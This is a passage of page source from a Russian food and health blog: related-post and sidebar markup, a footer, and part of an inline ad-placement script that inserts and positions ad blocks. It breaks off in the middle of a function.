783         </div><!--/.post-title-->
784
785         <div class="below-entry-meta">
786            <span class="posted-on"><i class="fa fa-calendar-o"></i> <time class="entry-date published" datetime="2018-10-04T17:46:24+03:00">04.10.2018</time></span>                        
787         </div>
788
789      </div>
790
791   </div><!--/.related-->
792      <div class="single-related-posts">
793
794               <div class="related-posts-thumbnail">
795            <a href="https://etopolezno.com/mango/" title="Фрукт манго — польза и вред для организма">
796               <img width="390" height="205" src="https://etopolezno.com/wp-content/uploads/2020/09/mango-frukt-390x205.jpg" class="attachment-colormag-featured-post-medium size-colormag-featured-post-medium wp-post-image" alt="Фрукт манго" decoding="async" loading="lazy" />            </a>
797         </div>
798      
799      <div class="article-content">
800
801         <div class="entry-title">
802            <a href="https://etopolezno.com/mango/" rel="bookmark" title="Фрукт манго — польза и вред для организма">Фрукт манго — польза и вред для организма</a>
803         </div><!--/.post-title-->
804
805         <div class="below-entry-meta">
806            <span class="posted-on"><i class="fa fa-calendar-o"></i> <time class="entry-date published" datetime="2020-09-14T13:41:00+03:00">14.09.2020</time></span>                        
807         </div>
808
809      </div>
810
811   </div><!--/.related-->
812      <div class="single-related-posts">
813
814               <div class="related-posts-thumbnail">
815            <a href="https://etopolezno.com/ryzhikovoye-maslo/" title="Рыжиковое масло">
816               <img width="390" height="205" src="https://etopolezno.com/wp-content/uploads/2019/11/rijikovoe-maslo-390x205.jpg" class="attachment-colormag-featured-post-medium size-colormag-featured-post-medium wp-post-image" alt="рыжиковое масло" decoding="async" loading="lazy" />            </a>
817         </div>
818      
819      <div class="article-content">
820
821         <div class="entry-title">
822            <a href="https://etopolezno.com/ryzhikovoye-maslo/" rel="bookmark" title="Рыжиковое масло">Рыжиковое масло</a>
823         </div><!--/.post-title-->
824
825         <div class="below-entry-meta">
826            <span class="posted-on"><i class="fa fa-calendar-o"></i> <time class="entry-date published" datetime="2019-11-04T11:04:19+03:00">04.11.2019</time></span>                        
827         </div>
828
829      </div>
830
831   </div><!--/.related-->
832   
833</div><!--/.post-related-->
834
835
836      
837	</div><!-- #primary -->
838
839	
840<div id="secondary">
841			
842		<aside id="custom_html-5" class="widget_text widget widget_custom_html clearfix"><div class="textwidget custom-html-widget"><div class="rl_cnt_bg" data-id="337327"></div></div></aside><aside id="colormag_featured_posts_vertical_widget-2" class="widget widget_featured_posts widget_featured_posts_vertical widget_featured_meta clearfix">		<div class="widget-title"><span>Новое</span></div>								<div class="first-post">			<div class="single-article clearfix">
843				<figure><a href="https://etopolezno.com/med-kak-proverit/" title="Как в домашних условиях проверить свежий мед на натуральность"><img width="390" height="205" src="https://etopolezno.com/wp-content/uploads/2024/10/Proverka-Meda-Glav-390x205.png" class="attachment-colormag-featured-post-medium size-colormag-featured-post-medium wp-post-image" alt="Проверка мёда на натуральность в домашних условиях" decoding="async" loading="lazy" title="Как в домашних условиях проверить свежий мед на натуральность" /></a></figure>				<div class="article-content">
844					<span class="entry-title">
845						<a href="https://etopolezno.com/med-kak-proverit/" title="Как в домашних условиях проверить свежий мед на натуральность">Как в домашних условиях проверить свежий мед на натуральность</a>
846					</span>
847					<div class="below-entry-meta">
848						<span class="posted-on"><i class="fa fa-calendar-o"></i> <time class="entry-date published" datetime="2024-10-29T14:31:01+03:00">29.10.2024</time></span>						</div>
849											<div class="entry-content">
850							<p>Мёд &#8211; это вкусное и полезное лакомство, которое выручает в сезон простуд, помогает наладить обмен веществ и просто выступает натуральным</p>
851						</div>
852									</div>
853
854			</div>
855			</div>									<div class="following-post">			<div class="single-article clearfix">
856				<figure><a href="https://etopolezno.com/kizil/" title="Кизил: вред и польза растения для здоровья"><img width="130" height="90" src="https://etopolezno.com/wp-content/uploads/2024/10/Kizil-Glav-130x90.webp" class="attachment-colormag-featured-post-small size-colormag-featured-post-small wp-post-image" alt="Кизил - вред и польза" decoding="async" loading="lazy" title="Кизил: вред и польза растения для здоровья" srcset="https://etopolezno.com/wp-content/uploads/2024/10/Kizil-Glav-130x90.webp 130w, https://etopolezno.com/wp-content/uploads/2024/10/Kizil-Glav-392x272.webp 392w" sizes="(max-width: 130px) 100vw, 130px" /></a></figure>				<div class="article-content">
857					<span class="entry-title">
858						<a href="https://etopolezno.com/kizil/" title="Кизил: вред и польза растения для здоровья">Кизил: вред и польза растения для здоровья</a>
859					</span>
860					<div class="below-entry-meta">
861						<span class="posted-on"><i class="fa fa-calendar-o"></i> <time class="entry-date published" datetime="2024-10-29T13:43:58+03:00">29.10.2024</time></span>						</div>
862									</div>
863
864			</div>
865															<div class="single-article clearfix">
866				<figure><a href="https://etopolezno.com/ediat-li-vegetariancy-rybu/" title="Едят ли рыбу и морепродукты вегетарианцы"><img width="130" height="90" src="https://etopolezno.com/wp-content/uploads/2024/10/Ryba-Glav-130x90.jpg" class="attachment-colormag-featured-post-small size-colormag-featured-post-small wp-post-image" alt="Едят ли вегетарианцы рыбу" decoding="async" loading="lazy" title="Едят ли рыбу и морепродукты вегетарианцы" srcset="https://etopolezno.com/wp-content/uploads/2024/10/Ryba-Glav-130x90.jpg 130w, https://etopolezno.com/wp-content/uploads/2024/10/Ryba-Glav-392x272.jpg 392w" sizes="(max-width: 130px) 100v
866w, 130px" /></a></figure>				<div class="article-content">
867					<span class="entry-title">
868						<a href="https://etopolezno.com/ediat-li-vegetariancy-rybu/" title="Едят ли рыбу и морепродукты вегетарианцы">Едят ли рыбу и морепродукты вегетарианцы</a>
869					</span>
870					<div class="below-entry-meta">
871						<span class="posted-on"><i class="fa fa-calendar-o"></i> <time class="entry-date published" datetime="2024-10-29T12:00:22+03:00">29.10.2024</time></span>						</div>
872									</div>
873
874			</div>
875															<div class="single-article clearfix">
876				<figure><a href="https://etopolezno.com/med-samyi-poleznyi-dlya-zhenshin-i-muzhchin/" title="Мед: какой самый полезный и ценный для женщин и мужчин"><img width="130" height="90" src="https://etopolezno.com/wp-content/uploads/2024/10/Med-glav-130x90.jpg" class="attachment-colormag-featured-post-small size-colormag-featured-post-small wp-post-image" alt="Сорта мёда и их свойства" decoding="async" loading="lazy" title="Мед: какой самый полезный и ценный для женщин и мужчин" srcset="https://etopolezno.com/wp-content/uploads/2024/10/Med-glav-130x90.jpg 130w, https://etopolezno.com/wp-content/uploads/2024/10/Med-glav-392x272.jpg 392w" sizes="(max-width: 130px) 100vw, 130px" /></a></figure>				<div class="article-content">
877					<span class="entry-title">
878						<a href="https://etopolezno.com/med-samyi-poleznyi-dlya-zhenshin-i-muzhchin/" title="Мед: какой самый полезный и ценный для женщин и мужчин">Мед: какой самый полезный и ценный для женщин и мужчин</a>
879					</span>
880					<div class="below-entry-meta">
881						<span class="posted-on"><i class="fa fa-calendar-o"></i> <time class="entry-date published" datetime="2024-10-29T10:46:11+03:00">29.10.2024</time></span>						</div>
882									</div>
883
884			</div>
885															<div class="single-article clearfix">
886				<figure><a href="https://etopolezno.com/samiy-dorogoy-v-mire-orekh-i-drugiye-reko/" title="Самый дорогой в мире орех и другие рекордсмены"><img width="130" height="90" src="https://etopolezno.com/wp-content/uploads/2024/10/-e1730108308688-130x90.webp" class="attachment-colormag-featured-post-small size-colormag-featured-post-small wp-post-image" alt="Макадамия" decoding="async" loading="lazy" title="Самый дорогой в мире орех и другие рекордсмены" /></a></figure>				<div class="article-content">
887					<span class="entry-title">
888						<a href="https://etopolezno.com/samiy-dorogoy-v-mire-orekh-i-drugiye-reko/" title="Самый дорогой в мире орех и другие рекордсмены">Самый дорогой в мире орех и другие рекордсмены</a>
889					</span>
890					<div class="below-entry-meta">
891						<span class="posted-on"><i class="fa fa-calendar-o"></i> <time class="entry-date published" datetime="2024-10-28T15:46:17+03:00">28.10.2024</time></span>						</div>
892									</div>
893
894			</div>
895						</div>		</aside><aside id="custom_html-6" class="widget_text widget widget_custom_html clearfix"><div class="textwidget custom-html-widget"><div class="rl_cnt_bg" data-id="337328"></div></div></aside><aside id="custom_html-7" class="widget_text widget widget_custom_html clearfix"><div class="textwidget custom-html-widget"><div class="rl_cnt_bg" data-id="337329"></div></div></aside><aside id="search-3" class="widget widget_search clearfix"><form action="https://etopolezno.com/" class="search-form searchform clearfix" method="get">
896   <div class="search-wrap">
897      <input type="text" placeholder="Поиск" class="s field" name="s">
898      <button class="search-icon" type="submit"></button>
899   </div>
900</form><!-- .searchform --></aside>
901	</div>
902	
903
904</div><!-- .inner-wrap -->
905</div><!-- #main -->
906<footer id="colophon" class="clearfix ">
907
908<div class="footer-widgets-area clearfix" style="margin-left: 12%;margin-right: 12%;">
909<div class="tg-footer-main-widget">
910<div class="tg-first-footer-widget">
911<aside id="custom_html-3" class="widget_text widget widget_custom_html clearfix"><div class="textwidget custom-html-widget">
912	<form method="POST"><button class="noLink" type="submit" name="prgpattern" value="/about/" style="padding:0px;background-color: #eaeaea;color:#aaaaaa;">О нас | Контакты</button></form></div></aside></div>
913 </div>
914<div class="tg-footer-other-widgets">
915<aside id="text-4" class="widget widget_text clearfix"><div class="textwidget"><p>© EtoPolezno 2018-2022. Публикации несут информационный характер. Обязательно консультация со специалистом. При копировании материалов ссылка на сайт обязательна.</p>
916</div></aside></div></div>
917	<!--<div class="footer-socket-wrapper clearfix">
918		<div class="inner-wrap">
919			<div class="footer-socket-area">
920				<div class="footer-socket-right-section">
921									</div>
922
923				
924			</div>
925		</div>
926	</div>-->
927</footer>
928<a href="#masthead" id="scroll-up"><i class="fa fa-chevron-up"></i></a>
929</div><!-- #page -->
930<script>
931if (typeof rb_ajaxurl==='undefined') {var rb_ajaxurl = 'https://etopolezno.com/wp-admin/admin-ajax.php';}
932if (typeof gather_content==='undefined') {var gather_content = true;}
933if (typeof endedSc==='undefined') {var endedSc = false;}
934if (typeof endedCc==='undefined') {var endedCc = false;}
935if (typeof usedAdBlocksArray==='undefined') {var usedAdBlocksArray = [];}
936if (typeof usedBlockSettingArrayIds==='undefined') {var usedBlockSettingArrayIds = [];}
937if (typeof sameElementAfterWidth==='undefined') {var sameElementAfterWidth = false;}
938if (typeof sameElementAfterExcClassId==='undefined') {var sameElementAfterExcClassId = false;}
939if (typeof sameElementAfterFromConstruction==='undefined') {var sameElementAfterFromConstruction = false;}
940if (typeof rb_tempElement_check==='undefined') {var rb_tempElement_check = false;}
941if (typeof rb_tempElement==='undefined') {var rb_tempElement = null;}
942if (typeof window.jsInputerLaunch==='undefined') {window.jsInputerLaunch = -1;}
943
944function launchUpdateRbDisplays() {
945    if ((typeof updateRbDisplays !== 'undefined')&&(typeof updateRbDisplays === 'function')) {
946        updateRbDisplays();
947    } else {
948        setTimeout(function () {
949            launchUpdateRbDisplays();
950        }, 200);
951    }
952}
953
954/* "sc" in variables - mark for shortcode variable */
955function shortcodesInsert() {
956    let gatheredBlocks = document.querySelectorAll('.percentPointerClass.scMark'),
957        scBlockId = -1,
958        scAdId = -1,
959        blockStatus = '',
960        dataFull = -1,
961        gatheredBlockChild,
962        okStates = ['done','refresh-wait','no-block','fetched'],
963        scContainer,
964        sci,
965        i1 = 0,
966        skyscraperCheck = [],
967        skyscraperStatus = false,
968        splitedSkyscraper = [],
969        gatheredBlockChildSkyParts = [],
970        stickyStatus = false,
971        stickyCheck = [],
972        stickyFixedStatus = false,
973        stickyFixedCheck = [],
974        overflowCheck = [],
975        overflowStatus = false,
976        repeatableIdentifier = "",
977        dataCidIdentifier = null,
978        divCidElement = '';
979
980    if (typeof scArray !== 'undefined') {
981        if (scArray&&scArray.length > 0&&gatheredBlocks&&gatheredBlocks.length > 0&&typeof window.rulvW5gntb !== 'undefined') {
982            dataCidIdentifier = window.rulvW5gntb;
983            for (let i = 0; i < gatheredBlocks.length; i++) {
984                gatheredBlockChild = gatheredBlocks[i].children[0];
985                if (!gatheredBlockChild) {
986                    continue;
987                }
988                scAdId = -3;
989                blockStatus = null;
990                scContainer = null;
991                dataFull = -1;
992                skyscraperStatus = false;
993                splitedSkyscraper = [];
994                gatheredBlockChildSkyParts = [];
995                stickyStatus = false;
996                stickyCheck = [];
997                stickyFixedStatus = false;
998                stickyFixedCheck = [];
999                repeatableIdentifier = "";
1000                divCidElement = null;
1001
1002                scAdId = gatheredBlockChild.getAttribute('data-aid');
1003                scBlockId = gatheredBlockChild.getAttribute('data-id');
1004                blockStatus = gatheredBlockChild.getAttribute('data-state');
1005                dataFull = gatheredBlockChild.getAttribute('data-full');
1006
1007                if (scBlockId&&scAdId > 0) {
1008                    sci = -1;
1009                    for (i1 = 0; i1 < scArray.length; i1++) {
1010                        if (scBlockId == scArray[i1]['blockId']&&scAdId == scArray[i1]['adId']) {
1011                            sci = i1;
1012                        }
1013                    }
1014
1015                    if (sci > -1) {
1016                        if (blockStatus&&okStates.includes(blockStatus)) {
1017                            if (blockStatus=='no-block') {
1018                                gatheredBlockChild.innerHTML = '';
1019                            } else if ((blockStatus=='fetched'&&dataFull==1)||!['no-block','fetched'].includes(blockStatus)) {
1020                                for (let cl1 = 0; cl1 < gatheredBlocks[i].classList.length; cl1++) {
1021                                    if (gatheredBlocks[i].classList[cl1].includes("repeatable-mark")) {
1022                                        repeatableIdentifier = gatheredBlocks[i].classList[cl1];
1023                                    }
1024                                }
1025
1026                                if (repeatableIdentifier) {
1027                                    divCidElement = document.querySelectorAll(".percentPointerClass.scMark."+repeatableIdentifier+' div[data-cid="'+dataCid
1027Identifier+'"]');
1028                                } else {
1029                                    divCidElement = gatheredBlockChild.querySelectorAll('div[data-cid="'+dataCidIdentifier+'"]');
1030                                }
1031
1032                                var text = scArray[sci]['text'];
1033                                if (divCidElement&&divCidElement.length > 0) {
1034                                    for (let i2 = 0; i2 < divCidElement.length; i2++) {
1035                                        jQuery(divCidElement[i2]).html(text);
1036                                    }
1037                                } else {
1038                                    jQuery(gatheredBlockChild).html(text);
1039                                }
1040                                launchUpdateRbDisplays();
1041                            }
1042                            if (blockStatus!='fetched'||(blockStatus=='fetched'&&dataFull==1)) {
1043                                for (i1 = 0; i1 < scArray.length; i1++) {
1044                                    if (scBlockId == scArray[i1]['blockId']) {
1045                                        scArray.splice(i1, 1);
1046                                        i1--;
1047                                    }
1048                                }
1049                                gatheredBlocks[i].classList.remove('scMark');
1050                            }
1051                        }
1052                    }
1053                } else if (scBlockId&&scAdId < 1&&['no-block','fetched'].includes(blockStatus)) {
1054                    for (i1 = 0; i1 < scArray.length; i1++) {
1055                        if (scBlockId == scArray[i1]['blockId']) {
1056                            scArray.splice(i1, 1);
1057                            i1--;
1058                        }
1059                    }
1060                    gatheredBlocks[i].classList.remove('scMark');
1061                }
1062            }
1063        } else if (!scArray||(scArray&&scArray.length < 1)) {
1064            endedSc = true;
1065        }
1066    } else {
1067        endedSc = true;
1068    }
1069
1070    if (!endedSc) {
1071        setTimeout(function () {
1072            shortcodesInsert();
1073        }, 200);
1074    }
1075}
1076
1077function clearUnsuitableCache(cuc_cou) {
1078    let scAdId = -1;
1079    let ccRepeat = false;
1080
1081    let gatheredBlocks = document.querySelectorAll('.percentPointerClass .' + block_classes.join(', .percentPointerClass .'));
1082
1083    if (gatheredBlocks&&gatheredBlocks.length > 0) {
1084        for (let i = 0; i < gatheredBlocks.length; i++) {
1085            if (gatheredBlocks[i]['dataset']['aid']&&gatheredBlocks[i]['dataset']['aid'] < 0) {
1086                if ((gatheredBlocks[i]['dataset']["state"]=='no-block')||(['done','fetched','refresh-wait'].includes(gatheredBlocks[i]['dataset']["state"]))) {
1087                    gatheredBlocks[i]['innerHTML'] = '';
1088                } else {
1089                    ccRepeat = true;
1090                }
1091            } else if (!gatheredBlocks[i]['dataset']['aid']) {
1092                ccRepeat = true;
1093            }
1094        }
1095        if (cuc_cou < 50) {
1096            if (ccRepeat) {
1097                setTimeout(function () {
1098                    clearUnsuitableCache(cuc_cou+1);
1099                }, 100);
1100            }
1101        } else {
1102            endedCc = true;
1103        }
1104    } else {
1105        endedCc = true;
1106    }
1107}
1108
1109function blocksRepositionUse(containerString, blType, searchType, contentElement) {
1110    let blocksInContainer;
1111    let blLocal = blType;
1112    let currentBlock;
1113    let currentBlockId;
1114    let currentBlockPosition;
1115    let currentContainer;
1116    let i = 0;
1117    let j = 0;
1118    let blockStrJs = ' .percentPointerClass.marked';
1119    let blockStrPhp = ' .percentPointerClass:not(.marked)';
1120    let blockStr = ' .percentPointerClass';
1121    let checkPointer = null;
1122    let blockRepeatEnd = false;
1123
1124    if (searchType) {
1125        if (searchType == 'marked') {
1126            while (!blockRepeatEnd) {
1127                blLocal = blLocal.parentElement;
1128                if (blLocal) {
1129                    checkPointer = blLocal.querySelector("#content_pointer_id");
1130                    if (!checkPointer) {
1131                        blocksInContainer = jQuery(blLocal).parent(containerString);
1132                        if (blocksInContainer && blocksInContainer.length > 0) {
1133                            /* checkPointer = blocksInContainer.querySelector("#content_pointer_id"); */
1134                            checkPointer = jQuery(blocksInContainer).find("#content_pointer_id");
1135                            if (checkPointer && checkPointer.length > 0) {
1136                                blocksInContainer = null;
1137                            }
1138                            blockRepeatEnd = true;
1139                        }
1140                    } else {
1141                        blockRepeatEnd = true
1142                    }
1143                } else {
1144                    blockRepeatEnd = true
1145                }
1146            }
1147            /* blocksInContainer = jQuery(blType).parent(containerString); */
1148            if (blocksInContainer&&blocksInContainer.length > 0) {
1149                /* blocksInContainer.parentNode.insertBefore(rb_tempElement, blocksInContainer); */
1150                blocksInContainer[0].parentNode.insertBefore(rb_tempElement, blocksInContainer[0]);
1151
1152                sameElementAfterExcClassId = false;
1153                return blocksInContainer[0];
1154            }
1155            return blType;
1156        } else if (searchType == 'non-marked') {
1157            blocksInContainer = document.querySelectorAll(blType + containerString + blockStrPhp);
1158            if (blocksInContainer && blocksInContainer.length > 0 && usedBlockSettingArray && usedBlockSettingArray.length > 0) {
1159                for (i = 0; i < blocksInContainer.length; i++) {
1160                    currentBlock = blocksInContainer[i];
1161                    currentBlockId = currentBlock.querySelector('.' + block_classes.join(', .')).getAttribute('data-id');
1162                    currentContainer = null;
1163                    for (j = 0; j < usedBlockSettingArray.length; i++) {
1164                        if (usedBlockSettingArray[i]['id'] == currentBlockId) {
1165                            currentBlockPosition = usedBlockSettingArray[i]['elementPosition'];
1166                            currentContainer = currentBlock.closest(blType + containerString);
1167                            if (currentBlockPosition == 0) {
1168                                currentContainer.parentNode.insertBefore(currentBlock, currentContainer);
1169                            } else {
1170                                currentContainer.parentNode.insertBefore(currentBlock, currentContainer.nextSibling);
1171                            }
1172                            break;
1173                        }
1174                    }
1175                }
1176            }
1177        }
1178    }
1179    return false;
1180}
1181
1182function createStyleElement(blockNumber, localElementCss) {
1183    let htmlToAdd = '';
1184    let marginString;
1185    let textAlignString;
1186    let contPoi;
1187    let emptyValues = false;
1188    let elementToAddStyleLocal = document.querySelector('#blocksAlignStyle');
1189    if (!elementToAddStyleLocal) {
1190        contPoi = document.querySelector('#content_pointer_id');
1191        if (!contPoi) {
1192            return false;
1193        }
1194
1195        elementToAddStyleLocal = document.createElement('style');
1196        elementToAddStyleLocal.setAttribute('id', 'blocksAlignStyle');
1197        contPoi.parentNode.insertBefore(elementToAddStyleLocal, contPoi);
1198    }
1199
1200    switch (localElementCss) {
1201        case 'left':
1202            emptyValues = false;
1203            marginString = '0 auto 0 0';
1204            textAlignString = 'left';
1205            break;
1206        case 'right':
1207            emptyValues = false;
1208            marginString = '0 0 0 auto';
1209            textAlignString = 'right';
1210            break;
1211        case 'center':
1212            emptyValues = false;
1213            marginString = '0 auto';
1214            textAlignString = 'center';
1215            break;
1216        case 'default':
1217            emptyValues = true;
1218            marginString = 'default';
1219            textAlignString = 'default';
1220            /** here will be css */
1221            break;
1222    }
1223    if (!emptyValues) {
1224        htmlToAdd = '.percentPointerClass  > *[data-id="'+blockNumber+'"] {\n' +
1225            '    margin: '+marginString+';\n' +
1226            '}\n';
1227    }
1228
1229    elementToAddStyleLocal.innerHTML += htmlToAdd;
1230    return textAlignString;
1231}
1232
1233function initTargetToInsert(position, type, currentElement) {
1234    let posCurrentElement;
1235    let usedElement;
1236    if (type == 'element') {
1237        if (position == 0) {
1238            posCurrentElement = currentElement;
1239            if (!(typeof obligatoryMargin!=='undefined'&&obligatoryMargin===1)) {
1240                currentElement.classList.add('rfwp_removedMarginTop');
1241            }
1242        } else {
1243            posCurrentElement = currentElement.nextSibling;
1244            if (!(typeof obligatoryMargin!=='undefined'&&obligatoryMargin===1)) {
1245                currentElement.classList.add('rfwp_removedMarginBottom');
1246            }
1247        }
1248        currentElement.style.clear = 'both';
1249    } else {
1250        usedElement = currentElement;
1251        if (position == 0) {
1252            posCurrentElement = usedElement;
1253        } else {
1254            posCurrentElement = usedElement.nextSibling;
1255        }
1256    }
1257    return posCurrentElement;
1258}
1259
1260function checkAdsWidth(content_pointer, posCurrentElement, currentElement) {
1261    let widthChecker = document.querySelector('#widthChecker');
1262    let widthCheckerStyle = null;
1263    let content_pointerStyle = getComputedStyle(content_pointer);
1264    /* let getPositionForTempElement = null;
1265    let testImgDetected = false;
1266    let testImg;
1267    let testImageCompWidth;
1268    let testImgCou = 0
1269    let figureChilds;
1270    let figureComWidth;
1271    let fcCou = 0; */
1272    let content = content_pointer.parentElement;
1273
1274    if (!widthChecker) {
1275        widthChecker = document.createElement("div");
1276        widthChecker.setAttribute('id','widthChecker');
1277        widthChecker.style.display = 'flex';
1278    }
1279
1280    if (content) {
1281        posCurrentElement = initTargetToInsert(posCurrentElement, 'term', currentElement);
1282        currentElement.parentNode.insertBefore(widthChecker, posCurrentElement);
1283        widthCheckerStyle = getComputedStyle(widthChecker);
1284        /* testImg = currentElement.previousSibling;
1285        if (testImg) {
1286            while (!testImgDetected&&testImgCou<4) {
1287                if (testImg&&testImg.nodeName.toLowerCase() === 'figure') {
1288                    figureComWidth = getComputedStyle(testImg);
1289                    figureComWidth = parseInt(figureComWidth.width);
1290                    figureChilds = testImg.childNodes;
1291                    if (figureChilds&&figureChilds.length > 0) {
1292                        while (!testImgDetected&&figureChilds[fcCou]) {
1293                            if (figureChilds[fcCou] instanceof HTMLImageElement) {
1294                                testImgDetected = true;
1295                                testImageCompWidth = getComputedStyle(figureChilds[fcCou]);
1296                                testImageCompWidth = parseInt(testImageCompWidth.width);
1297                                console.log('img_f_w:'+figureComWidth+'; img_w:'+testImageCompWidth+';');
1298                            }
1299                            fcCou++;
1300                        }
1301                    }
1302                }
1303                if (testImg instanceof HTMLImageElement) {
1304                    testImgDetected = true;
1305                    testImageCompWidth = getComputedStyle(testImg);
1306                    testImageCompWidth = parseInt(testImageCompWidth.width);
1307                    console.log('img_w:'+testImageCompWidth+';');
1308                }
1309                if (!testImg.previousSibling) {
1310                    break;
1311                }
1312                testImg = testImg.previousSibling;
1313                testImgCou++;
1314            }
1315        }
1316        console.log('cp_w:'+parseInt(content_pointerStyle.width)+'; wc_w:'+parseInt(widthCheckerStyle.width)+';'); */
1317        if (parseInt(widthCheckerStyle.width) >= (parseInt(content_pointerStyle.width) - 50)) {
1318            return true;
1319        }
1320    }
1321    currentElement.parentNode.insertBefore(rb_tempElement, currentElement.nextSibling);
1322    rb_tempElement_check = true;
1323    return false;
1324}
1325
1326/* function currentElementReceiver(revert, curSum, elList, currentElement) {
1327    let origCurrentElement = currentElement;
1328    let content_pointer = document.querySelector("#content_pointer_id");
1329    let sameElementAfterWidth = false;
1330    let testCou = 0;
1331    while (elList[curSum]&&sameElementAfterWidth==false&&testCou < 5) {
1332        currentElement = elList[curSum];
1333        try {
1334            sameElementAfterWidth=true;
1335            sameElementAfterWidth = checkAdsWidth(content_pointer, 0, currentElement);
1336        } catch (ex) {
1337            console.log(ex.message);
1338        }
1339        revert? curSum--: curSum++;
1340        testCou++;
1341    }
1342    return currentElement?currentElement:origCurrentElement;
1343} */
1344
1345function currentElementReceiverSpec(revert, curSum, elList, currentElement) {
1346    let origCurrentElement = currentElement;
1347    let content_pointer = document.querySelector("#content_pointer_id"); /* orig */
1348    let sameElementAfterWidth = false;
1349    let testCou = 0;
1350    while (elList[curSum]&&sameElementAfterWidth==false&&testCou < 5) {
1351        currentElement = elList[curSum]['element'];
1352        try {
1353            sameElementAfterWidth=true;
1354            sameElementAfterWidth = checkAdsWidth(content_pointer, 0, currentElement);
1355        } catch (ex) {
1356            console.log(ex.message);
1357        }
1358        revert? curSum--: curSum++;
1359        testCou++;
1360    }
1361    return currentElement?currentElement:origCurrentElement;
1362}
1363
1364function excIdClUnpacker() {
1365    let excArr = [],
1366        cou = 0,
1367        currExcStr = '',
1368        curExcFirst = '';
1369    excArr['id'] = [];
1370    excArr['class'] = [];
1371    excArr['tag'] = [];
1372    if (excIdClass&&excIdClass.length > 0) {
1373        while (excIdClass[cou]) {
1374            currExcStr = excIdClass[cou];
1375            if (currExcStr.length > 0) {
1376                curExcFirst = currExcStr.substring(0,1);
1377                switch (curExcFirst) {
1378                    case '#':
1379                        if (currExcStr.length > 1) {
1380                            currExcStr = currExcStr.substring(1);
1381                            excArr['id'].push(currExcStr);
1382                        }
1383                        break;
1384                    case '.':
1385                        if (currExcStr.length > 1) {
1386                            currExcStr = currExcStr.substring(1);
1387                            excArr['class'].push(currExcStr);
1388                        }
1389                        break;
1390                    default:
1391                        excArr['tag'].push(currExcStr);
1392                        break;
1393                }
1394                cou++;
1395            }
1396        }
1397    }
1398    return excArr;
1399}
1400
1401function asyncBlocksInsertingFunction(blockSettingArray) {
1402    try {
1403        var content_pointer = document.querySelector("#content_pointer_id"); /* orig */
1404        var parent_with_content = content_pointer.parentElement;
1405        var lordOfElements = parent_with_content;
1406        parent_with_content = parent_with_content.parentElement;
1407        var newElement = document.createElement("div");
1408        var elementToAdd;
1409        var elementToAddStyle;
1410        var poolbackI = 0;
1411        var counter = 0;
1412        var currentElement;
1413        var repeatableCurrentElement;
1414        var repeatableSuccess;
1415        var reCou;
1416        var curFirstPlace;
1417        var curElementCount;
1418        var curElementStep;
1419        var backElement = 0;
1420        var sumResult = 0;
1421        var curSumResult = 0;
1422        var repeat = false;
1423        var currentElementChecker = false;
1424        let containerFor6th = [];
1425        let containerFor7th = [];
1426        var posCurrentElement;
1427        var block_number;
1428        let contentLength = content_pointer.getAttribute('data-content-length');
1429        let rejectedBlocks = content_pointer.getAttribute('data-rejected-blocks');
1430        if (rejectedBlocks&&rejectedBlocks.length > 0) {
1431            rejectedBlocks = rejectedBlocks.split(',');
1432        }
1433        let widthCheck = false;
1434        let currentElementList;
1435        var testElement1 = null;
1436        var termorarity_parent_with_content = parent_with_content;
1437        var termorarity_parent_with_content_length = 0;
1438        var headersList = ['h1', 'h2', 'h3', 'h4', 'h5', 'h6'];
1439        for (var hc1 = 0; hc1 < headersList.length; hc1++) {
1440            termorarity_parent_with_content_length += termorarity_parent_with_content.getElementsByTagName(headersList[hc1]).length;
1441        }
1442
1443        let detailedElementList;
1444        let ExcStrCou = 1;
1445        let detailedQueryString;
1446        let usedElement;
1447        let tagList = [];
1448        let localSumResult;
1449        let binderName;
1450
1451        var removeClearing;
1452        var repeatableBlockIdentifier = 0;
1453
1454        var i;
1455
1456        if (contentLength < 1) {
1457            contentLength = parent_with_content.innerText.length
1458        }
1459
1460        rb_tempElement = document.querySelector('#rb_tempElement');
1461        if (!rb_tempElement) {
1462            rb_tempElement = document.createElement('span');
1463            rb_tempElement.setAttribute('id', 'rb_tempElement');
1464        }
1465
1466        function getFromConstructions(currentElement) {
1467            if (currentElement.parentElement.tagName.toLowerCase() == "blockquote") {
1468                currentElement = currentElement.parentElement;
1469                /* initTargetToInsert(blockSettingArray, 'element', currentElement); */
1470                currentElement.parentNode.insertBefore(rb_tempElement, currentElement);
1471                rb_tempElement_check = true;
1472                sameElementAfterFromConstruction=false;
1473            } else if (["tr","td","th","thead","tbody","table"].includes(currentElement.parentElement.tagName.toLowerCase())) {
1474                currentElement = currentElement.parentElement;
1475                while (["tr","td","th","thead","tbody","table"].includes(currentElement.parentElement.tagName.toLowerCase())) {
1476                    currentElement = currentElement.parentElement;
1477                }
1478                currentElement.parentNode.insertBefore(rb_tempElement, currentElement);
1479                rb_tempElement_check = true;
1480                sameElementAfterFromConstruction=false;
1481            }
1482            return currentElement;
1483        }
1484
1485        function directClassElementDetecting(blockSettingArray, directElement) {
1486            let findQuery = 0;
1487            let directClassElementResult = [];
1488
1489            currentElement = document.querySelectorAll(directElement);
1490            if (currentElement.length > 0) {
1491                if (blockSettingArray[i]['elementPlace'] > 1) {
1492                    if (currentElement.length >= blockSettingArray[i]['elementPlace']) {
1493                        currentElement = currentElement[blockSettingArray[i]['elementPlace']-1];
1494                    } else if (currentElement.length < blockSettingArray[i]['elementPlace']) {
1495                        currentElement = currentElement[currentElement.length - 1];
1496                    } else {
1497                        findQuery = 1;
1498                    }
1499                } else if (blockSettingArray[i]['elementPlace'] < 0) {
1500                    if ((currentElement.length + blockSettingArray[i]['elementPlace'] + 1) > 0) {
1501                        currentElement = currentElement[currentElement.length + blockSettingArray[i]['elementPlace']];
1502                    } else {
1503                        findQuery = 1;
1504                    }
1505                } else {
1506                    findQuery = 1;
1507                }
1508            } else {
1509                findQuery = 1;
1510            }
1511
1512            directClassElementResult['findQuery'] = findQuery;
1513            directClassElementResult['currentElement'] = currentElement;
1514
1515            return directClassElementResult;
1516        }
1517
1518        function placingToH1(usedElement, elementTagToFind) {
1519            let uselessLet;
1520            currentElement = usedElement.querySelectorAll(elementTagToFind);
1521
1522            if (currentElement.length < 1) {
1523                if (usedElement.parentElement) {
1524                    uselessLet = placingToH1(usedElement.parentElement, elementTagToFind);
1525                }
1526            }
1527            return currentElement;
1528        }
1529
1530        function elementsCleaning(excArr, elList, pwcLocal, gatherString) {
1531            let markedClass = 'rb_m_inc';
1532            let markedClassBad = 'rb_m_exc';
1533            let cou = 0;
1534            let cou1 = 0;
1535            let finalArr = [];
1536            let finalArrClear = [];
1537            let checkNearest;
1538            let outOfRangeCheck;
1539            let gatherRejected;
